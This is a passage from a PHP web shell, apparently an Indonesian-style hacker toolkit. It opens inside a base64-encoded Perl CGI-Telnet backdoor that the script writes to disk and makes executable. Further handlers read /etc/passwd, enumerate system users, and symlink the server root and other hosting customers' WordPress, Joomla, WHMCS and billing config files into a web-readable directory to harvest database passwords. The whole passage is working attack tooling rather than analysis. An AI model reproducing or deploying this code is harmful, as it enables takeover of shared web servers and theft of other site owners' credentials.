3VsdCAuPSI8L3RhYmxlPiI7DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVyZQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KJlJlYWRQYXJzZTsNCiZHZXRDb29raWVzOw0KDQokU2NyaXB0TG9jYXRpb24gPSAkRU5WeydTQ1JJUFRfTkFNRSd9Ow0KJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9Ow0KJExvZ2luUGFzc3dvcmQgPSAkaW57J3AnfTsNCiRSdW5Db21tYW5kID0gZGVjb2RlX2Jhc2U2NCgkaW57J2MnfSk7DQokVHJhbnNmZXJGaWxlID0gJGlueydmJ307DQokT3B0aW9ucyA9ICRpbnsnbyd9Ow0KJEFjdGlvbiA9ICRpbnsnYSd9Ow0KDQokQWN0aW9uID0gImNvbW1hbmQiIGlmKCRBY3Rpb24gZXEgIiIpOyAjIG5vIGFjdGlvbiBzcGVjaWZpZWQsIHVzZSBkZWZhdWx0DQoNCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQNCiRDdXJyZW50RGlyID0gJlRyaW1TbGFzaGVzKGRlY29kZV9iYXNlNjQodHJpbSgkaW57J2QnfSkpKTsNCiMgbWFjIGRpbmggeHVhdCB0aG9uZyB0aW4gbmV1IGtvIGNvIGxlbmggbmFvIQ0KJFJ1bkNvbW1hbmQ9ICRXaW5OVD8iZGlyIjoiZGlyIC1saWEiIGlmKCRSdW5Db21tYW5kIGVxICIiKTsNCmNob21wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7DQoNCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsNCg0KaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pIAkJIyB1c2VyIG5lZWRzL2hhcyB0byBsb2dpbg0Kew0KCSZQZXJmb3JtTG9naW47DQp9ZWxzaWYoJEFjdGlvbiBlcSAiZ3VpIikgIyBHVUkgZGlyZWN0b3J5DQp7DQoJJlByaW50UGFnZUhlYWRlcigiZCIpOw0KCWlmKCEkV2luTlQpDQoJew0KCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7DQoJCWlmKCRjaG1vZCBuZSAwKQ0KCQl7DQoJCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7DQoJCQkkZmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCQkJaWYoY2htb2QoJGNobW9kLCRmaWxlKSkNCgkJCXsNCgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7DQoJCQl9ZWxzZQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7DQoJCQl9DQoJCX0NCgl9DQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9Ow0KCWlmKCRyZW5hbWUgbmUgIiIpDQoJew0KCQlpZihyZW5hbWUoJFRyYW5zZmVyRmlsZSwkcmVuYW1lKSkNCgkJew0KCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCQl9ZWxzZQ0KCQl7DQoJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCQl9DQoJfQ0KCSRyZW1vdmU9JGlueydyZW1vdmUnfTsNCglpZigkcmVtb3ZlIG5lICIiKQ0KCXsNCgkJJHJtID0gJEN1cnJlbnREaXIuJFBhdGhTZXAuJHJlbW92ZTsNCgkJaWYoLWQgJHJtKQ0KCQl7DQoJCQkmUm1EaXIoJHJtKTsNCgkJfWVsc2UNCgkJew0KCQkJaWYodW5saW5rKCRybSkpDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCQkJfWVsc2UNCgkJCXsNCgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCQkJfQkJCQ0KCQl9DQoJfQ0KCXByaW50ICZMaXN0RGlyOw0KDQp9DQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gcnVuIGEgY29tbWFuZA0Kew0KCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCglwcmludCAmRXhlY3V0ZUNvbW1hbmQ7DQp9DQplbHNpZigkQWN0aW9uIGVxICJzYXZlIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gc2F2ZSBhIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KCWlmKCZTYXZlRmlsZSgkaW57J2RhdGEnfSwkaW57J2ZpbGUnfSkpDQoJew0KCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7DQoJfWVsc2UNCgl7DQoJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7DQoJfQ0KCXByaW50ICZMaXN0RGlyOw0KfWVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpIAkJCQkJIyB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJcHJpbnQgJlVwbG9hZEZpbGU7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiYmFja2JpbmQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGJhY2sgY29ubmVjdCBvciBiaW5kIHBvcnQNCnsNCgkmUHJpbnRQYWdlSGVhZGVyKCJjbGllbnRwb3J0Iik7DQoJcHJpbnQgJkJhY2tCaW5kOw0KfWVsc2lmKCRBY3Rpb24gZXEgImJydXRlZm9yY2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIGJydXRlIGZvcmNlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmQnJ1dGVGb3JjZXI7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQ0Kew0KCXByaW50ICZEb3dubG9hZEZpbGU7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiY2hlY2tsb2ciKSAJCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbG9nIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KCXByaW50ICZWaWV3TG9nOw0KDQp9ZWxzaWYoJEFjdGlvbiBlcSAiZG9tYWluc3VzZXIiKSAJCQkjIHVzZXIgd2FudHMgdG8gdmlldyBsaXN0IHVzZXIvZG9tYWluDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmVmlld0RvbWFpblVzZXI7DQp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgCQkJCSMgdXNlciB3YW50cyB0byBsb2dvdXQNCnsNCgkmUGVyZm9ybUxvZ291dDsNCn0NCiZQcmludFBhZ2VGb290ZXI7';
2324
2325 $file = fopen("cgi4e.izo", "w+");
2326 $write = fwrite($file, base64_decode($cgi4e));
2327 fclose($file);
2328 chmod("cgi4e.izo", 0755);
2329 echo "<br><center><h1 class='k2ll33d2'>CGI-Telnet Version 1.4 </h1><br><font face='Tahoma' color='#007700' size='10pt'>Password : virusa</font><center><br><iframe src=CGI7/cgi4e.izo width=75% height=60% frameborder=0></iframe>
2330
2331</div></center>";
2332}
2333elseif (isset($_GET['x']) && $_GET['x'] == 'wordlist')
2334{
2335 echo'<center><a class="k2ll33d2">WordList Graper from Config</a>
2336 <form method="post">
2337<center><input class="inputz" type="text" name="conf" value="" /><br>
2338<input class="inputz" type="submit" value="GeT Passwords" name="get" />
2339</form>';
2340
2341$g = $_POST['get'];
2342$dir = $_POST['conf'];
2343//////////////////////////////////////////////////////////////////////////////////////////////
2344if(isset($g) && $dir != ""){
2345
2346 $cn = @file_get_contents($dir);
2347 //preg_match_all('#href="(.*?)">(.*?)<#',$cn,$m); // $m[2]
2348 preg_match_all('#href="(.*?)"#',$cn,$m);
2349
2350
2351 foreach($m[1] as $txt){
2352
2353 $url = $dir.$txt;
2354 $cnurl = @file_get_contents($url);
2355 preg_match('#\'DB_PASSWORD\', \'(.*)\'#',$cnurl,$m1); // wordpress
2356 preg_match('#password = \'(.*)\'#',$cnurl,$m2); // joomla
2357 preg_match('#\'password\' => \'(.*)\'#',$cnurl,$m3); // vb
2358 preg_match('#db_password = "(.*)"#',$cnurl,$m4); // whmcs
2359 preg_match('#db_password = \'(.*)\'#',$cnurl,$m4); // whmcs
2360 preg_match('#dbpass = "(.*)"#',$cnurl,$m5); //
2361 preg_match('#password = \'(.*)\'#',$cnurl,$m6); // connnect.php
2362 preg_match('#dbpasswd = \'(.*)\'#',$cnurl,$m8); // phpBB 3.0.x
2363 preg_match('#password_localhost = "(.*)"#',$cnurl,$m9); // conexao.php
2364 preg_match('#senha = "(.*)"#',$cnurl,$m10); // /_inc/config.inc.php
2365
2366 if(!empty($m1[1])){ echo $m1[1]."<br>"; }
2367 elseif(!empty($m2[1])){ echo $m2[1]."<br>"; }
2368 elseif(!empty($m3[1])){ echo $m3[1]."<br>"; }
2369 elseif(!empty($m4[1])){ echo $m4[1]."<br>"; }
2370 elseif(!empty($m5[1])){ echo $m5[1]."<br>"; }
2371 elseif(!empty($m6[1])){ echo $m6[1]."<br>"; }
2372 elseif(!empty($m7[1])){ echo $m7[1]."<br>"; }
2373 elseif(!empty($m8[1])){ echo $m8[1]."<br>"; }
2374 elseif(!empty($m9[1])){ echo $m9[1]."<br>"; }
2375 elseif(!empty($m10[1])){ echo $m10[1]."<br>"; }
2376
2377 }
2378
2379}
2380 exit;
2381}
2382elseif (isset($_GET['x']) && $_GET['x'] == '404Config')
2383{
2384 echo "<center><form method='POST' action=''><textarea name='etcpasswd' rows='20' cols='60'>";
2385 echo include("/etc/passwd");
2386 echo "</textarea><br>";
2387 echo "Home: <input class='inputz' type='text' name='homess' value='home'><br>";
2388 echo "<input class='inputz' type='submit' name='asu' value='Run!!'></form><br>";
2389if($_POST['asu']){
2390@mkdir("wp-setup", 0777);
2391@chdir("wp-setup");
2392@symlink("/","rintoar.txt");
2393$htaccess="Options Indexes FollowSymLinks
2394DirectoryIndex con7ext.htm
2395AddType text/plain .php
2396AddHandler text/plain .php
2397Satisfy Any
2398IndexIgnore *.txt404
2399RewriteEngine On
2400RewriteCond %{REQUEST_FILENAME} ^.*wp-setup [NC]
2401RewriteRule \.txt$ %{REQUEST_URI}404 [L,R=302.NC]
2402ReadMeName con7ext.txt";
2403@file_put_contents(".htaccess",$htaccess);
2404$passwd= $_POST['etcpasswd'];
2405$homes = $_POST['homess'];
2406preg_match_all('/(.*?):x:/', $passwd, $user_config);
2407foreach($user_config[1] as $user_con7ext) {
2408$grab_config = array(
2409"/$homes/$user_con7ext/.accesshash" => "WHM-accesshash",
2410"/$homes/$user_con7ext/public_html/config/koneksi.php" => "Lokomedia",
2411"/$homes/$user_con7ext/public_html/forum/config.php" => "phpBB",
2412"/$homes/$user_con7ext/public_html/sites/default/settings.php" => "Drupal",
2413"/$homes/$user_con7ext/public_html/config/settings.inc.php" => "PrestaShop",
2414"/$homes/$user_con7ext/public_html/app/etc/local.xml" => "Magento",
2415"/$homes/$user_con7ext/public_html/admin/config.php" => "OpenCart",
2416"/$homes/$user_con7ext/public_html/application/config/database.php" => "Ellislab",
2417"/$homes/$user_con7ext/public_html/vb/includes/config.php" => "Vbulletin",
2418"/$homes/$user_con7ext/public_html/includes/config.php" => "Vbulletin",
2419"/$homes/$user_con7ext/public_html/forum/includes/config.php" => "Vbulletin",
2420"/$homes/$user_con7ext/public_html/forums/includes/config.php" => "Vbulletin",
2421"/$homes/$user_con7ext/public_html/cc/includes/config.php" => "Vbulletin",
2422"/$homes/$user_con7ext/public_html/inc/config.php" => "MyBB",
2423"/$homes/$user_con7ext/public_html/includes/configure.php" => "OsCommerce",
2424"/$homes/$user_con7ext/public_html/shop/includes/configure.php" => "OsCommerce",
2425"/$homes/$user_con7ext/public_html/os/includes/configure.php" => "OsCommerce",
2426"/$homes/$user_con7ext/public_html/oscom/includes/configure.php" => "OsCommerce",
2427"/$homes/$user_con7ext/public_html/products/includes/configure.php" => "OsCommerce",
2428"/$homes/$user_con7ext/public_html/cart/includes/configure.php" => "OsCommerce",
2429"/$homes/$user_con7ext/public_html/inc/conf_global.php" => "IPB",
2430"/$homes/$user_con7ext/public_html/wp-config.php" => "Wordpress",
2431"/$homes/$user_con7ext/public_html/wp/test/wp-config.php" => "Wordpress",
2432"/$homes/$user_con7ext/public_html/blog/wp-config.php" => "Wordpress",
2433"/$homes/$user_con7ext/public_html/beta/wp-config.php" => "Wordpress",
2434"/$homes/$user_con7ext/public_html/portal/wp-config.php" => "Wordpress",
2435"/$homes/$user_con7ext/public_html/site/wp-config.php" => "Wordpress",
2436"/$homes/$user_con7ext/public_html/wp/wp-config.php" => "Wordpress",
2437"/$homes/$user_con7ext/public_html/WP/wp-config.php" => "Wordpress",
2438"/$homes/$user_con7ext/public_html/news/wp-config.php" => "Wordpress",
2439"/$homes/$user_con7ext/public_html/wordpress/wp-config.php" => "Wordpress",
2440"/$homes/$user_con7ext/public_html/test/wp-config.php" => "Wordpress",
2441"/$homes/$user_con7ext/public_html/demo/wp-config.php" => "Wordpress",
2442"/$homes/$user_con7ext/public_html/$homes/wp-config.php" => "Wordpress",
2443"/$homes/$user_con7ext/public_html/v1/wp-config.php" => "Wordpress",
2444"/$homes/$user_con7ext/public_html/v2/wp-config.php" => "Wordpress",
2445"/$homes/$user_con7ext/public_html/press/wp-config.php" => "Wordpress",
2446"/$homes/$user_con7ext/public_html/new/wp-config.php" => "Wordpress",
2447"/$homes/$user_con7ext/public_html/blogs/wp-config.php" => "Wordpress",
2448"/$homes/$user_con7ext/public_html/configuration.php" => "Joomla",
2449"/$homes/$user_con7ext/public_html/blog/configuration.php" => "Joomla",
2450"/$homes/$user_con7ext/public_html/submitticket.php" => "^WHMCS",
2451"/$homes/$user_con7ext/public_html/cms/configuration.php" => "Joomla",
2452"/$homes/$user_con7ext/public_html/beta/configuration.php" => "Joomla",
2453"/$homes/$user_con7ext/public_html/portal/configuration.php" => "Joomla",
2454"/$homes/$user_con7ext/public_html/site/configuration.php" => "Joomla",
2455"/$homes/$user_con7ext/public_html/main/configuration.php" => "Joomla",
2456"/$homes/$user_con7ext/public_html/$homes/configuration.php" => "Joomla",
2457"/$homes/$user_con7ext/public_html/demo/configuration.php" => "Joomla",
2458"/$homes/$user_con7ext/public_html/test/configuration.php" => "Joomla",
2459"/$homes/$user_con7ext/public_html/v1/configuration.php" => "Joomla",
2460"/$homes/$user_con7ext/public_html/v2/configuration.php" => "Joomla",
2461"/$homes/$user_con7ext/public_html/joomla/configuration.php" => "Joomla",
2462"/$homes/$user_con7ext/public_html/new/configuration.php" => "Joomla",
2463"/$homes/$user_con7ext/public_html/WHMCS/submitticket.php" => "WHMCS",
2464"/$homes/$user_con7ext/public_html/whmcs1/submitticket.php" => "WHMCS",
2465"/$homes/$user_con7ext/public_html/Whmcs/submitticket.php" => "WHMCS",
2466"/$homes/$user_con7ext/public_html/whmcs/submitticket.php" => "WHMCS",
2467"/$homes/$user_con7ext/public_html/whmcs/submitticket.php" => "WHMCS",
2468"/$homes/$user_con7ext/public_html/WHMC/submitticket.php" => "WHMCS",
2469"/$homes/$user_con7ext/public_html/Whmc/submitticket.php" => "WHMCS",
2470"/$homes/$user_con7ext/public_html/whmc/submitticket.php" => "WHMCS",
2471"/$homes/$user_con7ext/public_html/WHM/submitticket.php" => "WHMCS",
2472"/$homes/$user_con7ext/public_html/Whm/submitticket.php" => "WHMCS",
2473"/$homes/$user_con7ext/public_html/whm/submitticket.php" => "WHMCS",
2474"/$homes/$user_con7ext/public_html/HOST/submitticket.php" => "WHMCS",
2475"/$homes/$user_con7ext/public_html/Host/submitticket.php" => "WHMCS",
2476"/$homes/$user_con7ext/public_html/host/submitticket.php" => "WHMCS",
2477"/$homes/$user_con7ext/public_html/SUPPORTES/submitticket.php" => "WHMCS",
2478"/$homes/$user_con7ext/public_html/Supportes/submitticket.php" => "WHMCS",
2479"/$homes/$user_con7ext/public_html/supportes/submitticket.php" => "WHMCS",
2480"/$homes/$user_con7ext/public_html/domains/submitticket.php" => "WHMCS",
2481"/$homes/$user_con7ext/public_html/domain/submitticket.php" => "WHMCS",
2482"/$homes/$user_con7ext/public_html/Hosting/submitticket.php" => "WHMCS",
2483"/$homes/$user_con7ext/public_html/HOSTING/submitticket.php" => "WHMCS",
2484"/$homes/$user_con7ext/public_html/hosting/submitticket.php" => "WHMCS",
2485"/$homes/$user_con7ext/public_html/CART/submitticket.php" => "WHMCS",
2486"/$homes/$user_con7ext/public_html/Cart/submitticket.php" => "WHMCS",
2487"/$homes/$user_con7ext/public_html/cart/submitticket.php" => "WHMCS",
2488"/$homes/$user_con7ext/public_html/ORDER/submitticket.php" => "WHMCS",
2489"/$homes/$user_con7ext/public_html/Order/submitticket.php" => "WHMCS",
2490"/$homes/$user_con7ext/public_html/order/submitticket.php" => "WHMCS",
2491"/$homes/$user_con7ext/public_html/CLIENT/submitticket.php" => "WHMCS",
2492"/$homes/$user_con7ext/public_html/Client/submitticket.php" => "WHMCS",
2493"/$homes/$user_con7ext/public_html/client/submitticket.php" => "WHMCS",
2494"/$homes/$user_con7ext/public_html/CLIENTAREA/submitticket.php" => "WHMCS",
2495"/$homes/$user_con7ext/public_html/Clientarea/submitticket.php" => "WHMCS",
2496"/$homes/$user_con7ext/public_html/clientarea/submitticket.php" => "WHMCS",
2497"/$homes/$user_con7ext/public_html/SUPPORT/submitticket.php" => "WHMCS",
2498"/$homes/$user_con7ext/public_html/Support/submitticket.php" => "WHMCS",
2499"/$homes/$user_con7ext/public_html/support/submitticket.php" => "WHMCS",
2500"/$homes/$user_con7ext/public_html/BILLING/submitticket.php" => "WHMCS",
2501"/$homes/$user_con7ext/public_html/Billing/submitticket.php" => "WHMCS",
2502"/$homes/$user_con7ext/public_html/billing/submitticket.php" => "WHMCS",
2503"/$homes/$user_con7ext/public_html/BUY/submitticket.php" => "WHMCS",
2504"/$homes/$user_con7ext/public_html/Buy/submitticket.php" => "WHMCS",
2505"/$homes/$user_con7ext/public_html/buy/submitticket.php" => "WHMCS",
2506"/$homes/$user_con7ext/public_html/MANAGE/submitticket.php" => "WHMCS",
2507"/$homes/$user_con7ext/public_html/Manage/submitticket.php" => "WHMCS",
2508"/$homes/$user_con7ext/public_html/manage/submitticket.php" => "WHMCS",
2509"/$homes/$user_con7ext/public_html/CLIENTSUPPORT/submitticket.php" => "WHMCS",
2510"/$homes/$user_con7ext/public_html/ClientSupport/submitticket.php" => "WHMCS",
2511"/$homes/$user_con7ext/public_html/Clientsupport/submitticket.php" => "WHMCS",
2512"/$homes/$user_con7ext/public_html/clientsupport/submitticket.php" => "WHMCS",
2513"/$homes/$user_con7ext/public_html/CHECKOUT/submitticket.php" => "WHMCS",
2514"/$homes/$user_con7ext/public_html/Checkout/submitticket.php" => "WHMCS",
2515"/$homes/$user_con7ext/public_html/checkout/submitticket.php" => "WHMCS",
2516"/$homes/$user_con7ext/public_html/BILLINGS/submitticket.php" => "WHMCS",
2517"/$homes/$user_con7ext/public_html/Billings/submitticket.php" => "WHMCS",
2518"/$homes/$user_con7ext/public_html/billings/submitticket.php" => "WHMCS",
2519"/$homes/$user_con7ext/public_html/BASKET/submitticket.php" => "WHMCS",
2520"/$homes/$user_con7ext/public_html/Basket/submitticket.php" => "WHMCS",
2521"/$homes/$user_con7ext/public_html/basket/submitticket.php" => "WHMCS",
2522"/$homes/$user_con7ext/public_html/SECURE/submitticket.php" => "WHMCS",
2523"/$homes/$user_con7ext/public_html/Secure/submitticket.php" => "WHMCS",
2524"/$homes/$user_con7ext/public_html/secure/submitticket.php" => "WHMCS",
2525"/$homes/$user_con7ext/public_html/SALES/submitticket.php" => "WHMCS",
2526"/$homes/$user_con7ext/public_html/Sales/submitticket.php" => "WHMCS",
2527"/$homes/$user_con7ext/public_html/sales/submitticket.php" => "WHMCS",
2528"/$homes/$user_con7ext/public_html/BILL/submitticket.php" => "WHMCS",
2529"/$homes/$user_con7ext/public_html/Bill/submitticket.php" => "WHMCS",
2530"/$homes/$user_con7ext/public_html/bill/submitticket.php" => "WHMCS",
2531"/$homes/$user_con7ext/public_html/PURCHASE/submitticket.php" => "WHMCS",
2532"/$homes/$user_con7ext/public_html/Purchase/submitticket.php" => "WHMCS",
2533"/$homes/$user_con7ext/public_html/purchase/submitticket.php" => "WHMCS",
2534"/$homes/$user_con7ext/public_html/ACCOUNT/submitticket.php" => "WHMCS",
2535"/$homes/$user_con7ext/public_html/Account/submitticket.php" => "WHMCS",
2536"/$homes/$user_con7ext/public_html/account/submitticket.php" => "WHMCS",
2537"/$homes/$user_con7ext/public_html/USER/submitticket.php" => "WHMCS",
2538"/$homes/$user_con7ext/public_html/User/submitticket.php" => "WHMCS",
2539"/$homes/$user_con7ext/public_html/user/submitticket.php" => "WHMCS",
2540"/$homes/$user_con7ext/public_html/CLIENTS/submitticket.php" => "WHMCS",
2541"/$homes/$user_con7ext/public_html/Clients/submitticket.php" => "WHMCS",
2542"/$homes/$user_con7ext/public_html/clients/submitticket.php" => "WHMCS",
2543"/$homes/$user_con7ext/public_html/BILLINGS/submitticket.php" => "WHMCS",
2544"/$homes/$user_con7ext/public_html/Billings/submitticket.php" => "WHMCS",
2545"/$homes/$user_con7ext/public_html/billings/submitticket.php" => "WHMCS",
2546"/$homes/$user_con7ext/public_html/MY/submitticket.php" => "WHMCS",
2547"/$homes/$user_con7ext/public_html/My/submitticket.php" => "WHMCS",
2548"/$homes/$user_con7ext/public_html/my/submitticket.php" => "WHMCS",
2549"/$homes/$user_con7ext/public_html/secure/whm/submitticket.php" => "WHMCS",
2550"/$homes/$user_con7ext/public_html/secure/whmcs/submitticket.php" => "WHMCS",
2551"/$homes/$user_con7ext/public_html/panel/submitticket.php" => "WHMCS",
2552"/$homes/$user_con7ext/public_html/clientes/submitticket.php" => "WHMCS",
2553"/$homes/$user_con7ext/public_html/cliente/submitticket.php" => "WHMCS",
2554"/$homes/$user_con7ext/public_html/support/order/submitticket.php" => "WHMCS",
2555"/$homes/$user_con7ext/public_html/bb-config.php" => "BoxBilling",
2556"/$homes/$user_con7ext/public_html/boxbilling/bb-config.php" => "BoxBilling",
2557"/$homes/$user_con7ext/public_html/box/bb-config.php" => "BoxBilling",
2558"/$homes/$user_con7ext/public_html/host/bb-config.php" => "BoxBilling",
2559"/$homes/$user_con7ext/public_html/Host/bb-config.php" => "BoxBilling",
2560"/$homes/$user_con7ext/public_html/supportes/bb-config.php" => "BoxBilling",
2561"/$homes/$user_con7ext/public_html/support/bb-config.php" => "BoxBilling",
2562"/$homes/$user_con7ext/public_html/hosting/bb-config.php" => "BoxBilling",
2563"/$homes/$user_con7ext/public_html/cart/bb-config.php" => "BoxBilling",
2564"/$homes/$user_con7ext/public_html/order/bb-config.php" => "BoxBilling",
2565"/$homes/$user_con7ext/public_html/client/bb-config.php" => "BoxBilling",
2566"/$homes/$user_con7ext/public_html/clients/bb-config.php" => "BoxBilling",
2567"/$homes/$user_con7ext/public_html/cliente/bb-config.php" => "BoxBilling",
2568"/$homes/$user_con7ext/public_html/clientes/bb-config.php" => "BoxBilling",
2569"/$homes/$user_con7ext/public_html/billing/bb-config.php" => "BoxBilling",
2570"/$homes/$user_con7ext/public_html/billings/bb-config.php" => "BoxBilling",
2571"/$homes/$user_con7ext/public_html/my/bb-config.php" => "BoxBilling",
2572"/$homes/$user_con7ext/public_html/secure/bb-config.php" => "BoxBilling",
2573"/$homes/$user_con7ext/public_html/support/order/bb-config.php" => "BoxBilling",
2574"/$homes/$user_con7ext/public_html/includes/dist-configure.php" => "Zencart",
2575"/$homes/$user_con7ext/public_html/zencart/includes/dist-configure.php" => "Zencart",
2576"/$homes/$user_con7ext/public_html/products/includes/dist-configure.php" => "Zencart",
2577"/$homes/$user_con7ext/public_html/cart/includes/dist-configure.php" => "Zencart",
2578"/$homes/$user_con7ext/public_html/shop/includes/dist-configure.php" => "Zencart",
2579"/$homes/$user_con7ext/public_html/includes/iso4217.php" => "Hostbills",
2580"/$homes/$user_con7ext/public_html/hostbills/includes/iso4217.php" => "Hostbills",
2581"/$homes/$user_con7ext/public_html/host/includes/iso4217.php" => "Hostbills",
2582"/$homes/$user_con7ext/public_html/Host/includes/iso4217.php" => "Hostbills",
2583"/$homes/$user_con7ext/public_html/supportes/includes/iso4217.php" => "Hostbills",
2584"/$homes/$user_con7ext/public_html/support/includes/iso4217.php" => "Hostbills",
2585"/$homes/$user_con7ext/public_html/hosting/includes/iso4217.php" => "Hostbills",
2586"/$homes/$user_con7ext/public_html/cart/includes/iso4217.php" => "Hostbills",
2587"/$homes/$user_con7ext/public_html/order/includes/iso4217.php" => "Hostbills",
2588"/$homes/$user_con7ext/public_html/client/includes/iso4217.php" => "Hostbills",
2589"/$homes/$user_con7ext/public_html/clients/includes/iso4217.php" => "Hostbills",
2590"/$homes/$user_con7ext/public_html/cliente/includes/iso4217.php" => "Hostbills",
2591"/$homes/$user_con7ext/public_html/clientes/includes/iso4217.php" => "Hostbills",
2592"/$homes/$user_con7ext/public_html/billing/includes/iso4217.php" => "Hostbills",
2593"/$homes/$user_con7ext/public_html/billings/includes/iso4217.php" => "Hostbills",
2594"/$homes/$user_con7ext/public_html/my/includes/iso4217.php" => "Hostbills",
2595"/$homes/$user_con7ext/public_html/secure/includes/iso4217.php" => "Hostbills",
2596"/$homes/$user_con7ext/public_html/support/order/includes/iso4217.php" => "Hostbills"
2597);
2598foreach($grab_config as $config => $nama_config) {
2599$sym404=symlink($config, $user_con7ext."-".$nama_config.".txt");
2600if($sym404){
2601@mkdir($user_con7ext."-".$nama_config.".txt404", 0777);
2602$htaccess="
2603Options Indexes FollowSymLinks
2604ReadMeName con7ext.txt
2605Satisfy Any
2606";
2607@file_put_contents($user_con7ext."-".$nama_config.".txt404/.htaccess",$htaccess);
2608
2609@symlink($config,$user_con7ext."-".$nama_config.".txt404/con7ext.txt");
2610}
2611}
2612}
2613echo "<center><a href='wp-setup/'>Done...</a>";
2614}
2615 exit;
2616}
2617elseif (isset($_GET['x']) && $_GET['x'] == 'passwd')
2618{
2619 echo '<center><a class="k2ll33d2">Posix Passwd </a><br><textarea class="inputz" rows=20 cols=100 wrap=off>';
2620 error_reporting(0);
2621 for ($uid = 0;$uid < 60000;$uid++)
2622 {
2623 $ara = posix_getpwuid($uid);
2624 if (!empty($ara))
2625 {
2626 while (list($key, $val) = each($ara))
2627 {
2628 print "$val:";
2629 }
2630 print "\n";
2631 }
2632 }
2633 echo '</textarea>';
2634}
2635elseif (isset($_GET['x']) && $_GET['x'] == 'tester')
2636{
2637 $mmmail = print $_POST['email'];
2638 if (!empty($_POST['email'])){
2639 $xx = rand();
2640 mail($_POST['email'],"Result Report Test - ".$xx,"WORKING !");
2641 print "<b>send an report to [".$_POST['email']."] - $xx</b>";
2642 }
2643 echo '
2644 Upload is <b><color>WORKING</color></b><br>
2645 Check Mailling ..<br>
2646 <form method="post">
2647 <input type="text" name="email" value=.$mmmail required >
2648 <input type="submit" value="Send test >>">
2649 </form>
2650 <br>
2651 ';
2652}
2653elseif (isset($_GET['x']) && $_GET['x'] == 'ssi')
2654{
2655 echo require_once('s.shtml');
2656}
2657elseif (isset($_GET['x']) && $_GET['x'] == 'whmbf')
2658{
2659 exit;
2660}
2661elseif (isset($_GET['view']) && ($_GET['view'] != ""))
2662{
2663 if (is_file($_GET['view']))
2664 {
2665 if (!isset($file)) $file = magicboom($_GET['view']);
2666 if (!$win && $posix)
2667 {
2668 $name = @posix_getpwuid(@fileowner($file));
2669 $group = @posix_getgrgid(@filegroup($file));
2670 $owner = $name['name'] . "<span class='gaya'> : </span>" . $group['name'];
2671 }
2672 else
2673 {
2674 $owner = $user;
2675 }
2676 $filn = basename($file);
2677 echo "<table style='margin:6px 0 0 2px;line-height:20px;'> <tr><td>Filename</td><td><span id='" . clearspace($filn) . "_link'>" . $file . "</span> <form action='?y=" . $pwd . "&view=$file' method='post' id='" . clearspace($filn) . "_form' class='sembunyi' style='margin:0;padding:0;'> <input type='hidden' name='oldname' value='" . $filn . "' style='margin:0;padding:0;' /> <input class='inputz' style='width:200px;' type='text' name='newname' value='" . $filn . "' /> <input class='inputzbut' type='submit' name='rename' value='rename' /> <input class='inputzbut' type='submit' name='cancel' value='cancel' onclick='tukar('" . clearspace($filn) . "_link','" . clearspace($filn) . "_form');' /> </form> </td></tr> <tr><td>Size</td><td>" . ukuran($file) . "</td></tr> <tr><td>Permission</td><td>" . get_perms($file) . "</td></tr> <tr><td>Owner</td><td>" . $owner . "</td></tr> <tr><td>Create time</td><td>" . date("d-M-Y H:i", @filectime($file)) . 